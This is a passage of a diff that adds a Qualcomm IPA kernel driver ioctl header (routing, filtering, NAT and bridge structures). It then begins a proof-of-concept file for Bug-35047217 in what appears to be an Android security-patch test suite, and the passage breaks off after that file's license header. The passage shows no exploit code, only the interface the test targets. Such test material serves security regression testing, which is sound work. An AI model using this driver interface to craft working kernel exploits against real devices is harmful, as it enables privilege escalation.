+ * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
+ */
+struct ipa_ioc_add_rt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
+        uint8_t num_rules;
+        struct ipa_rt_rule_add rules[0];
+};
+
+/**
+ * struct ipa_ioc_add_rt_rule_after - routing rule addition after a specific
+ * rule parameters(supports multiple rules and commit);
+ *
+ * all rules MUST be added to same table
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @rt_tbl_name: name of routing table resource
+ * @num_rules: number of routing rules that follow
+ * @add_after_hdl: the rules will be added after this specific rule
+ * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
+ *                           at_rear field will be ignored when using this IOCTL
+ */
+struct ipa_ioc_add_rt_rule_after {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
+        uint8_t num_rules;
+        uint32_t add_after_hdl;
+        struct ipa_rt_rule_add rules[0];
+};
+
+/**
+ * struct ipa_rt_rule_mdfy - routing rule descriptor includes
+ * in and out parameters
+ * @rule: actual rule to be added
+ * @rt_rule_hdl: handle to rule which supposed to modify
+ * @status:        output parameter, status of routing rule modify  operation,
+ *                0 for success,
+ *                -1 for failure
+ *
+ */
+struct ipa_rt_rule_mdfy {
+        struct ipa_rt_rule rule;
+        uint32_t rt_rule_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_mdfy_rt_rule - routing rule modify parameters (supports
+ * multiple rules and commit)
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @num_rules: number of routing rules that follow
+ * @rules: all rules need to go back to back here, no pointers
+ */
+struct ipa_ioc_mdfy_rt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        uint8_t num_rules;
+        struct ipa_rt_rule_mdfy rules[0];
+};
+
+/**
+ * struct ipa_rt_rule_del - routing rule descriptor includes in
+ * and out parameters
+ * @hdl: handle returned from route rule add operation
+ * @status:        output parameter, status of route rule delete operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_rt_rule_del {
+        uint32_t hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_del_rt_rule - routing rule deletion parameters (supports
+ * multiple headers and commit)
+ * @commit: should rules be removed from IPA HW also?
+ * @ip: IP family of rules
+ * @num_hdls: num of rules being removed
+ * @ipa_rt_rule_del hdl: all handles need to go back to back here, no pointers
+ */
+struct ipa_ioc_del_rt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        uint8_t num_hdls;
+        struct ipa_rt_rule_del hdl[0];
+};
+
+/**
+ * struct ipa_ioc_get_rt_tbl_indx - routing table index lookup parameters
+ * @ip: IP family of table
+ * @name: name of routing table resource
+ * @index:        output parameter, routing table index, valid only when ioctl
+ *                return val is non-negative
+ */
+struct ipa_ioc_get_rt_tbl_indx {
+        enum ipa_ip_type ip;
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t idx;
+};
+
+/**
+ * struct ipa_flt_rule_add - filtering rule descriptor includes
+ * in and out parameters
+ * @rule: actual rule to be added
+ * @at_rear: add at back of filtering table?
+ * @flt_rule_hdl: out parameter, handle to rule, valid when status is 0
+ * @status:        output parameter, status of filtering rule add   operation,
+ *                0 for success,
+ *                -1 for failure
+ *
+ */
+struct ipa_flt_rule_add {
+        struct ipa_flt_rule rule;
+        uint8_t at_rear;
+        uint32_t flt_rule_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_add_flt_rule - filtering rule addition parameters (supports
+ * multiple rules and commit)
+ * all rules MUST be added to same table
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @ep:        which "clients" pipe does this rule apply to?
+ *        valid only when global is 0
+ * @global: does this apply to global filter table of specific IP family
+ * @num_rules: number of filtering rules that follow
+ * @rules: all rules need to go back to back here, no pointers
+ */
+struct ipa_ioc_add_flt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        enum ipa_client_type ep;
+        uint8_t global;
+        uint8_t num_rules;
+        struct ipa_flt_rule_add rules[0];
+};
+
+/**
+ * struct ipa_ioc_add_flt_rule_after - filtering rule addition after specific
+ * rule parameters (supports multiple rules and commit)
+ * all rules MUST be added to same table
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @ep:        which "clients" pipe does this rule apply to?
+ * @num_rules: number of filtering rules that follow
+ * @add_after_hdl: rules will be added after the rule with this handle
+ * @rules: all rules need to go back to back here, no pointers. at rear field
+ *           is ignored when using this IOCTL
+ */
+struct ipa_ioc_add_flt_rule_after {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        enum ipa_client_type ep;
+        uint8_t num_rules;
+        uint32_t add_after_hdl;
+        struct ipa_flt_rule_add rules[0];
+};
+
+/**
+ * struct ipa_flt_rule_mdfy - filtering rule descriptor includes
+ * in and out parameters
+ * @rule: actual rule to be added
+ * @flt_rule_hdl: handle to rule
+ * @status:        output parameter, status of filtering rule modify  operation,
+ *                0 for success,
+ *                -1 for failure
+ *
+ */
+struct ipa_flt_rule_mdfy {
+        struct ipa_flt_rule rule;
+        uint32_t rule_hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_mdfy_flt_rule - filtering rule modify parameters (supports
+ * multiple rules and commit)
+ * @commit: should rules be written to IPA HW also?
+ * @ip: IP family of rule
+ * @num_rules: number of filtering rules that follow
+ * @rules: all rules need to go back to back here, no pointers
+ */
+struct ipa_ioc_mdfy_flt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        uint8_t num_rules;
+        struct ipa_flt_rule_mdfy rules[0];
+};
+
+/**
+ * struct ipa_flt_rule_del - filtering rule descriptor includes
+ * in and out parameters
+ *
+ * @hdl: handle returned from filtering rule add operation
+ * @status:        output parameter, status of filtering rule delete operation,
+ *                0 for success,
+ *                -1 for failure
+ */
+struct ipa_flt_rule_del {
+        uint32_t hdl;
+        int status;
+};
+
+/**
+ * struct ipa_ioc_del_flt_rule - filtering rule deletion parameters (supports
+ * multiple headers and commit)
+ * @commit: should rules be removed from IPA HW also?
+ * @ip: IP family of rules
+ * @num_hdls: num of rules being removed
+ * @hdl: all handles need to go back to back here, no pointers
+ */
+struct ipa_ioc_del_flt_rule {
+        uint8_t commit;
+        enum ipa_ip_type ip;
+        uint8_t num_hdls;
+        struct ipa_flt_rule_del hdl[0];
+};
+
+/**
+ * struct ipa_ioc_get_rt_tbl - routing table lookup parameters, if lookup was
+ * successful caller must call put to release the reference
+ * count when done
+ * @ip: IP family of table
+ * @name: name of routing table resource
+ * @htl:        output parameter, handle of routing table, valid only when ioctl
+ *                return val is non-negative
+ */
+struct ipa_ioc_get_rt_tbl {
+        enum ipa_ip_type ip;
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t hdl;
+};
+
+/**
+ * struct ipa_ioc_query_intf - used to lookup number of tx and
+ * rx properties of interface
+ * @name: name of interface
+ * @num_tx_props:        output parameter, number of tx properties
+ *                        valid only when ioctl return val is non-negative
+ * @num_rx_props:        output parameter, number of rx properties
+ *                        valid only when ioctl return val is non-negative
+ * @num_ext_props:        output parameter, number of ext properties
+ *                        valid only when ioctl return val is non-negative
+ * @excp_pipe:                exception packets of this interface should be
+ *                        routed to this pipe
+ */
+struct ipa_ioc_query_intf {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_tx_props;
+        uint32_t num_rx_props;
+        uint32_t num_ext_props;
+        enum ipa_client_type excp_pipe;
+};
+
+/**
+ * struct ipa_ioc_tx_intf_prop - interface tx property
+ * @ip: IP family of routing rule
+ * @attrib: routing rule
+ * @dst_pipe: routing output pipe
+ * @alt_dst_pipe: alternate routing output pipe
+ * @hdr_name: name of associated header if any, empty string when no header
+ * @hdr_l2_type: type of associated header if any, use NONE when no header
+ */
+struct ipa_ioc_tx_intf_prop {
+        enum ipa_ip_type ip;
+        struct ipa_rule_attrib attrib;
+        enum ipa_client_type dst_pipe;
+        enum ipa_client_type alt_dst_pipe;
+        char hdr_name[IPA_RESOURCE_NAME_MAX];
+        enum ipa_hdr_l2_type hdr_l2_type;
+};
+
+/**
+ * struct ipa_ioc_query_intf_tx_props - interface tx propertie
+ * @name: name of interface
+ * @num_tx_props: number of TX properties
+ * @tx[0]: output parameter, the tx properties go here back to back
+ */
+struct ipa_ioc_query_intf_tx_props {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_tx_props;
+        struct ipa_ioc_tx_intf_prop tx[0];
+};
+
+/**
+ * struct ipa_ioc_ext_intf_prop - interface extended property
+ * @ip: IP family of routing rule
+ * @eq_attrib: attributes of the rule in equation form
+ * @action: action field
+ * @rt_tbl_idx: index of RT table referred to by filter rule
+ * @mux_id: MUX_ID
+ * @filter_hdl: handle of filter (as specified by provider of filter rule)
+ * @is_xlat_rule: it is xlat flt rule or not
+ */
+struct ipa_ioc_ext_intf_prop {
+        enum ipa_ip_type ip;
+        struct ipa_ipfltri_rule_eq eq_attrib;
+        enum ipa_flt_action action;
+        uint32_t rt_tbl_idx;
+        uint8_t mux_id;
+        uint32_t filter_hdl;
+        uint8_t is_xlat_rule;
+        uint32_t rule_id;
+        uint8_t is_rule_hashable;
+};
+
+/**
+ * struct ipa_ioc_query_intf_ext_props - interface ext propertie
+ * @name: name of interface
+ * @num_ext_props: number of EXT properties
+ * @ext[0]: output parameter, the ext properties go here back to back
+ */
+struct ipa_ioc_query_intf_ext_props {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_ext_props;
+        struct ipa_ioc_ext_intf_prop ext[0];
+};
+
+/**
+ * struct ipa_ioc_rx_intf_prop - interface rx property
+ * @ip: IP family of filtering rule
+ * @attrib: filtering rule
+ * @src_pipe: input pipe
+ * @hdr_l2_type: type of associated header if any, use NONE when no header
+ */
+struct ipa_ioc_rx_intf_prop {
+        enum ipa_ip_type ip;
+        struct ipa_rule_attrib attrib;
+        enum ipa_client_type src_pipe;
+        enum ipa_hdr_l2_type hdr_l2_type;
+};
+
+/**
+ * struct ipa_ioc_query_intf_rx_props - interface rx propertie
+ * @name: name of interface
+ * @num_rx_props: number of RX properties
+ * @rx: output parameter, the rx properties go here back to back
+ */
+struct ipa_ioc_query_intf_rx_props {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_rx_props;
+        struct ipa_ioc_rx_intf_prop rx[0];
+};
+
+/**
+ * struct ipa_ioc_nat_alloc_mem - nat table memory allocation
+ * properties
+ * @dev_name: input parameter, the name of table
+ * @size: input parameter, size of table in bytes
+ * @offset: output parameter, offset into page in case of system memory
+ */
+struct ipa_ioc_nat_alloc_mem {
+        char dev_name[IPA_RESOURCE_NAME_MAX];
+        size_t size;
+        off_t offset;
+};
+
+/**
+ * struct ipa_ioc_v4_nat_init - nat table initialization
+ * parameters
+ * @tbl_index: input parameter, index of the table
+ * @ipv4_rules_offset: input parameter, ipv4 rules address offset
+ * @expn_rules_offset: input parameter, ipv4 expansion rules address offset
+ * @index_offset: input parameter, index rules offset
+ * @index_expn_offset: input parameter, index expansion rules offset
+ * @table_entries: input parameter, ipv4 rules table size in entries
+ * @expn_table_entries: input parameter, ipv4 expansion rules table size
+ * @ip_addr: input parameter, public ip address
+ */
+struct ipa_ioc_v4_nat_init {
+        uint8_t tbl_index;
+        uint32_t ipv4_rules_offset;
+        uint32_t expn_rules_offset;
+
+        uint32_t index_offset;
+        uint32_t index_expn_offset;
+
+        uint16_t table_entries;
+        uint16_t expn_table_entries;
+        uint32_t ip_addr;
+};
+
+/**
+ * struct ipa_ioc_v4_nat_del - nat table delete parameter
+ * @table_index: input parameter, index of the table
+ * @public_ip_addr: input parameter, public ip address
+ */
+struct ipa_ioc_v4_nat_del {
+        uint8_t table_index;
+        uint32_t public_ip_addr;
+};
+
+/**
+ * struct ipa_ioc_nat_dma_one - nat dma command parameter
+ * @table_index: input parameter, index of the table
+ * @base_addr:        type of table, from which the base address of the table
+ *                can be inferred
+ * @offset: destination offset within the NAT table
+ * @data: data to be written.
+ */
+struct ipa_ioc_nat_dma_one {
+        uint8_t table_index;
+        uint8_t base_addr;
+
+        uint32_t offset;
+        uint16_t data;
+
+};
+
+/**
+ * struct ipa_ioc_nat_dma_cmd - To hold multiple nat dma commands
+ * @entries: number of dma commands in use
+ * @dma: data pointer to the dma commands
+ */
+struct ipa_ioc_nat_dma_cmd {
+        uint8_t entries;
+        struct ipa_ioc_nat_dma_one dma[0];
+
+};
+
+/**
+ * struct ipa_msg_meta - Format of the message meta-data.
+ * @msg_type: the type of the message
+ * @rsvd: reserved bits for future use.
+ * @msg_len: the length of the message in bytes
+ *
+ * For push model:
+ * Client in user-space should issue a read on the device (/dev/ipa) with a
+ * sufficiently large buffer in a continuous loop, call will block when there is
+ * no message to read. Upon return, client can read the ipa_msg_meta from start
+ * of buffer to find out type and length of message
+ * size of buffer supplied >= (size of largest message + size of metadata)
+ *
+ * For pull model:
+ * Client in user-space can also issue a pull msg IOCTL to device (/dev/ipa)
+ * with a payload containing space for the ipa_msg_meta and the message specific
+ * payload length.
+ * size of buffer supplied == (len of specific message  + size of metadata)
+ */
+struct ipa_msg_meta {
+        uint8_t msg_type;
+        uint8_t rsvd;
+        uint16_t msg_len;
+};
+
+/**
+ * struct ipa_wlan_msg - To hold information about wlan client
+ * @name: name of the wlan interface
+ * @mac_addr: mac address of wlan client
+ *
+ * wlan drivers need to pass name of wlan iface and mac address of
+ * wlan client along with ipa_wlan_event, whenever a wlan client is
+ * connected/disconnected/moved to power save/come out of power save
+ */
+struct ipa_wlan_msg {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
+};
+
+/**
+ * enum ipa_wlan_hdr_attrib_type - attribute type
+ * in wlan client header
+ *
+ * WLAN_HDR_ATTRIB_MAC_ADDR: attrib type mac address
+ * WLAN_HDR_ATTRIB_STA_ID: attrib type station id
+ */
+enum ipa_wlan_hdr_attrib_type {
+        WLAN_HDR_ATTRIB_MAC_ADDR,
+        WLAN_HDR_ATTRIB_STA_ID
+};
+
+/**
+ * struct ipa_wlan_hdr_attrib_val - header attribute value
+ * @attrib_type: type of attribute
+ * @offset: offset of attribute within header
+ * @u.mac_addr: mac address
+ * @u.sta_id: station id
+ */
+struct ipa_wlan_hdr_attrib_val {
+        enum ipa_wlan_hdr_attrib_type attrib_type;
+        uint8_t offset;
+        union {
+                uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
+                uint8_t sta_id;
+        } u;
+};
+
+/**
+ * struct ipa_wlan_msg_ex - To hold information about wlan client
+ * @name: name of the wlan interface
+ * @num_of_attribs: number of attributes
+ * @attrib_val: holds attribute values
+ *
+ * wlan drivers need to pass name of wlan iface and mac address
+ * of wlan client or station id along with ipa_wlan_event,
+ * whenever a wlan client is connected/disconnected/moved to
+ * power save/come out of power save
+ */
+struct ipa_wlan_msg_ex {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint8_t num_of_attribs;
+        struct ipa_wlan_hdr_attrib_val attribs[0];
+};
+
+struct ipa_ecm_msg {
+        char name[IPA_RESOURCE_NAME_MAX];
+        int ifindex;
+};
+
+/**
+ * struct ipa_wan_msg - To hold information about wan client
+ * @name: name of the wan interface
+ *
+ * CnE need to pass the name of default wan iface when connected/disconnected.
+ * netmgr need to pass the name of wan eMBMS iface when connected.
+ */
+struct ipa_wan_msg {
+        char upstream_ifname[IPA_RESOURCE_NAME_MAX];
+        char tethered_ifname[IPA_RESOURCE_NAME_MAX];
+        enum ipa_ip_type ip;
+};
+
+/**
+ * struct ipa_ioc_rm_dependency - parameters for add/delete dependency
+ * @resource_name: name of dependent resource
+ * @depends_on_name: name of its dependency
+ */
+struct ipa_ioc_rm_dependency {
+        enum ipa_rm_resource_name resource_name;
+        enum ipa_rm_resource_name depends_on_name;
+};
+
+struct ipa_ioc_generate_flt_eq {
+        enum ipa_ip_type ip;
+        struct ipa_rule_attrib attrib;
+        struct ipa_ipfltri_rule_eq eq_attrib;
+};
+
+/**
+ * struct ipa_ioc_write_qmapid - to write mux id to endpoint meta register
+ * @mux_id: mux id of wan
+ */
+struct ipa_ioc_write_qmapid {
+        enum ipa_client_type client;
+        uint8_t qmap_id;
+};
+
+enum ipacm_client_enum {
+        IPACM_CLIENT_USB = 1,
+        IPACM_CLIENT_WLAN,
+        IPACM_CLIENT_MAX
+};
+/**
+ *   actual IOCTLs supported by IPA driver
+ */
+#define IPA_IOC_ADD_HDR _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_HDR, \
+                                        struct ipa_ioc_add_hdr *)
+#define IPA_IOC_DEL_HDR _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_DEL_HDR, \
+                                        struct ipa_ioc_del_hdr *)
+#define IPA_IOC_ADD_RT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_RT_RULE, \
+                                        struct ipa_ioc_add_rt_rule *)
+#define IPA_IOC_ADD_RT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_RT_RULE_AFTER, \
+                                        struct ipa_ioc_add_rt_rule_after *)
+#define IPA_IOC_DEL_RT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_DEL_RT_RULE, \
+                                        struct ipa_ioc_del_rt_rule *)
+#define IPA_IOC_ADD_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_FLT_RULE, \
+                                        struct ipa_ioc_add_flt_rule *)
+#define IPA_IOC_ADD_FLT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_ADD_FLT_RULE_AFTER, \
+                                        struct ipa_ioc_add_flt_rule_after *)
+#define IPA_IOC_DEL_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_DEL_FLT_RULE, \
+                                        struct ipa_ioc_del_flt_rule *)
+#define IPA_IOC_COMMIT_HDR _IO(IPA_IOC_MAGIC,\
+                                        IPA_IOCTL_COMMIT_HDR)
+#define IPA_IOC_RESET_HDR _IO(IPA_IOC_MAGIC,\
+                                        IPA_IOCTL_RESET_HDR)
+#define IPA_IOC_COMMIT_RT _IOW(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_COMMIT_RT, \
+                                        enum ipa_ip_type)
+#define IPA_IOC_RESET_RT _IOW(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_RESET_RT, \
+                                        enum ipa_ip_type)
+#define IPA_IOC_COMMIT_FLT _IOW(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_COMMIT_FLT, \
+                                        enum ipa_ip_type)
+#define IPA_IOC_RESET_FLT _IOW(IPA_IOC_MAGIC, \
+                        IPA_IOCTL_RESET_FLT, \
+                        enum ipa_ip_type)
+#define IPA_IOC_DUMP _IO(IPA_IOC_MAGIC, \
+                        IPA_IOCTL_DUMP)
+#define IPA_IOC_GET_RT_TBL _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GET_RT_TBL, \
+                                struct ipa_ioc_get_rt_tbl *)
+#define IPA_IOC_PUT_RT_TBL _IOW(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_PUT_RT_TBL, \
+                                uint32_t)
+#define IPA_IOC_COPY_HDR _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_COPY_HDR, \
+                                struct ipa_ioc_copy_hdr *)
+#define IPA_IOC_QUERY_INTF _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_QUERY_INTF, \
+                                struct ipa_ioc_query_intf *)
+#define IPA_IOC_QUERY_INTF_TX_PROPS _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_QUERY_INTF_TX_PROPS, \
+                                struct ipa_ioc_query_intf_tx_props *)
+#define IPA_IOC_QUERY_INTF_RX_PROPS _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_QUERY_INTF_RX_PROPS, \
+                                        struct ipa_ioc_query_intf_rx_props *)
+#define IPA_IOC_QUERY_INTF_EXT_PROPS _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_QUERY_INTF_EXT_PROPS, \
+                                        struct ipa_ioc_query_intf_ext_props *)
+#define IPA_IOC_GET_HDR _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GET_HDR, \
+                                struct ipa_ioc_get_hdr *)
+#define IPA_IOC_PUT_HDR _IOW(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_PUT_HDR, \
+                                uint32_t)
+#define IPA_IOC_ALLOC_NAT_MEM _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_ALLOC_NAT_MEM, \
+                                struct ipa_ioc_nat_alloc_mem *)
+#define IPA_IOC_V4_INIT_NAT _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_V4_INIT_NAT, \
+                                struct ipa_ioc_v4_nat_init *)
+#define IPA_IOC_NAT_DMA _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_NAT_DMA, \
+                                struct ipa_ioc_nat_dma_cmd *)
+#define IPA_IOC_V4_DEL_NAT _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_V4_DEL_NAT, \
+                                struct ipa_ioc_v4_nat_del *)
+#define IPA_IOC_GET_NAT_OFFSET _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GET_NAT_OFFSET, \
+                                uint32_t *)
+#define IPA_IOC_SET_FLT _IOW(IPA_IOC_MAGIC, \
+                        IPA_IOCTL_SET_FLT, \
+                        uint32_t)
+#define IPA_IOC_PULL_MSG _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_PULL_MSG, \
+                                struct ipa_msg_meta *)
+#define IPA_IOC_RM_ADD_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_RM_ADD_DEPENDENCY, \
+                                struct ipa_ioc_rm_dependency *)
+#define IPA_IOC_RM_DEL_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_RM_DEL_DEPENDENCY, \
+                                struct ipa_ioc_rm_dependency *)
+#define IPA_IOC_GENERATE_FLT_EQ _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GENERATE_FLT_EQ, \
+                                struct ipa_ioc_generate_flt_eq *)
+#define IPA_IOC_QUERY_EP_MAPPING _IOR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_QUERY_EP_MAPPING, \
+                                uint32_t)
+#define IPA_IOC_QUERY_RT_TBL_INDEX _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_QUERY_RT_TBL_INDEX, \
+                                struct ipa_ioc_get_rt_tbl_indx *)
+#define IPA_IOC_WRITE_QMAPID  _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_WRITE_QMAPID, \
+                                struct ipa_ioc_write_qmapid *)
+#define IPA_IOC_MDFY_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_MDFY_FLT_RULE, \
+                                        struct ipa_ioc_mdfy_flt_rule *)
+#define IPA_IOC_MDFY_RT_RULE _IOWR(IPA_IOC_MAGIC, \
+                                        IPA_IOCTL_MDFY_RT_RULE, \
+                                        struct ipa_ioc_mdfy_rt_rule *)
+
+#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_ADD _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD, \
+                                struct ipa_wan_msg *)
+
+#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_DEL _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL, \
+                                struct ipa_wan_msg *)
+#define IPA_IOC_NOTIFY_WAN_EMBMS_CONNECTED _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED, \
+                                struct ipa_wan_msg *)
+#define IPA_IOC_ADD_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_ADD_HDR_PROC_CTX, \
+                                struct ipa_ioc_add_hdr_proc_ctx *)
+#define IPA_IOC_DEL_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_DEL_HDR_PROC_CTX, \
+                                struct ipa_ioc_del_hdr_proc_ctx *)
+
+#define IPA_IOC_GET_HW_VERSION _IOWR(IPA_IOC_MAGIC, \
+                                IPA_IOCTL_GET_HW_VERSION, \
+                                enum ipa_hw_type *)
+
+/*
+ * unique magic number of the Tethering bridge ioctls
+ */
+#define TETH_BRIDGE_IOC_MAGIC 0xCE
+
+/*
+ * Ioctls supported by Tethering bridge driver
+ */
+#define TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE        0
+#define TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS        1
+#define TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS        2
+#define TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES        3
+#define TETH_BRIDGE_IOCTL_MAX                        4
+
+
+/**
+ * enum teth_link_protocol_type - link protocol (IP / Ethernet)
+ */
+enum teth_link_protocol_type {
+        TETH_LINK_PROTOCOL_IP,
+        TETH_LINK_PROTOCOL_ETHERNET,
+        TETH_LINK_PROTOCOL_MAX,
+};
+
+/**
+ * enum teth_aggr_protocol_type - Aggregation protocol (MBIM / TLP)
+ */
+enum teth_aggr_protocol_type {
+        TETH_AGGR_PROTOCOL_NONE,
+        TETH_AGGR_PROTOCOL_MBIM,
+        TETH_AGGR_PROTOCOL_TLP,
+        TETH_AGGR_PROTOCOL_MAX,
+};
+
+/**
+ * struct teth_aggr_params_link - Aggregation parameters for uplink/downlink
+ * @aggr_prot:                        Aggregation protocol (MBIM / TLP)
+ * @max_transfer_size_byte:        Maximal size of aggregated packet in bytes.
+ *                                Default value is 16*1024.
+ * @max_datagrams:                Maximal number of IP packets in an aggregated
+ *                                packet. Default value is 16
+ */
+struct teth_aggr_params_link {
+        enum teth_aggr_protocol_type aggr_prot;
+        uint32_t max_transfer_size_byte;
+        uint32_t max_datagrams;
+};
+
+
+/**
+ * struct teth_aggr_params - Aggregation parmeters
+ * @ul:        Uplink parameters
+ * @dl: Downlink parmaeters
+ */
+struct teth_aggr_params {
+        struct teth_aggr_params_link ul;
+        struct teth_aggr_params_link dl;
+};
+
+/**
+ * struct teth_aggr_capabilities - Aggregation capabilities
+ * @num_protocols:                Number of protocols described in the array
+ * @prot_caps[]:                Array of aggregation capabilities per protocol
+ */
+struct teth_aggr_capabilities {
+        uint16_t num_protocols;
+        struct teth_aggr_params_link prot_caps[0];
+};
+
+/**
+ * struct teth_ioc_set_bridge_mode
+ * @link_protocol: link protocol (IP / Ethernet)
+ * @lcid: logical channel number
+ */
+struct teth_ioc_set_bridge_mode {
+        enum teth_link_protocol_type link_protocol;
+        uint16_t lcid;
+};
+
+/**
+ * struct teth_ioc_set_aggr_params
+ * @aggr_params: Aggregation parmeters
+ * @lcid: logical channel number
+ */
+struct teth_ioc_aggr_params {
+        struct teth_aggr_params aggr_params;
+        uint16_t lcid;
+};
+
+
+#define TETH_BRIDGE_IOC_SET_BRIDGE_MODE _IOW(TETH_BRIDGE_IOC_MAGIC, \
+                                TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE, \
+                                struct teth_ioc_set_bridge_mode *)
+#define TETH_BRIDGE_IOC_SET_AGGR_PARAMS _IOW(TETH_BRIDGE_IOC_MAGIC, \
+                                TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS, \
+                                struct teth_ioc_aggr_params *)
+#define TETH_BRIDGE_IOC_GET_AGGR_PARAMS _IOR(TETH_BRIDGE_IOC_MAGIC, \
+                                TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS, \
+                                struct teth_ioc_aggr_params *)
+#define TETH_BRIDGE_IOC_GET_AGGR_CAPABILITIES _IOWR(TETH_BRIDGE_IOC_MAGIC, \
+                                TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES, \
+                                struct teth_aggr_capabilities *)
+
+/*
+ * unique magic number of the ODU bridge ioctls
+ */
+#define ODU_BRIDGE_IOC_MAGIC 0xCD
+
+/*
+ * Ioctls supported by ODU bridge driver
+ */
+#define ODU_BRIDGE_IOCTL_SET_MODE        0
+#define ODU_BRIDGE_IOCTL_SET_LLV6_ADDR        1
+#define ODU_BRIDGE_IOCTL_MAX                2
+
+/**
+ * enum odu_bridge_mode - bridge mode
+ *                        (ROUTER MODE / BRIDGE MODE)
+ */
+enum odu_bridge_mode {
+        ODU_BRIDGE_MODE_ROUTER,
+        ODU_BRIDGE_MODE_BRIDGE,
+        ODU_BRIDGE_MODE_MAX,
+};
+
+#define ODU_BRIDGE_IOC_SET_MODE _IOW(ODU_BRIDGE_IOC_MAGIC, \
+                                ODU_BRIDGE_IOCTL_SET_MODE, \
+                                enum odu_bridge_mode)
+
+#define ODU_BRIDGE_IOC_SET_LLV6_ADDR _IOW(ODU_BRIDGE_IOC_MAGIC, \
+                                ODU_BRIDGE_IOCTL_SET_LLV6_ADDR, \
+                                struct in6_addr *)
+
+#endif /* _UAPI_MSM_IPA_H_ */
diff --git a/hostsidetests/security/securityPatch/Bug-35047217/poc.cpp b/hostsidetests/security/securityPatch/Bug-35047217/poc.cpp
new file mode 100644
index 0000000..34adca0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35047217/poc.cpp
@@ -0,0 +1,65 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
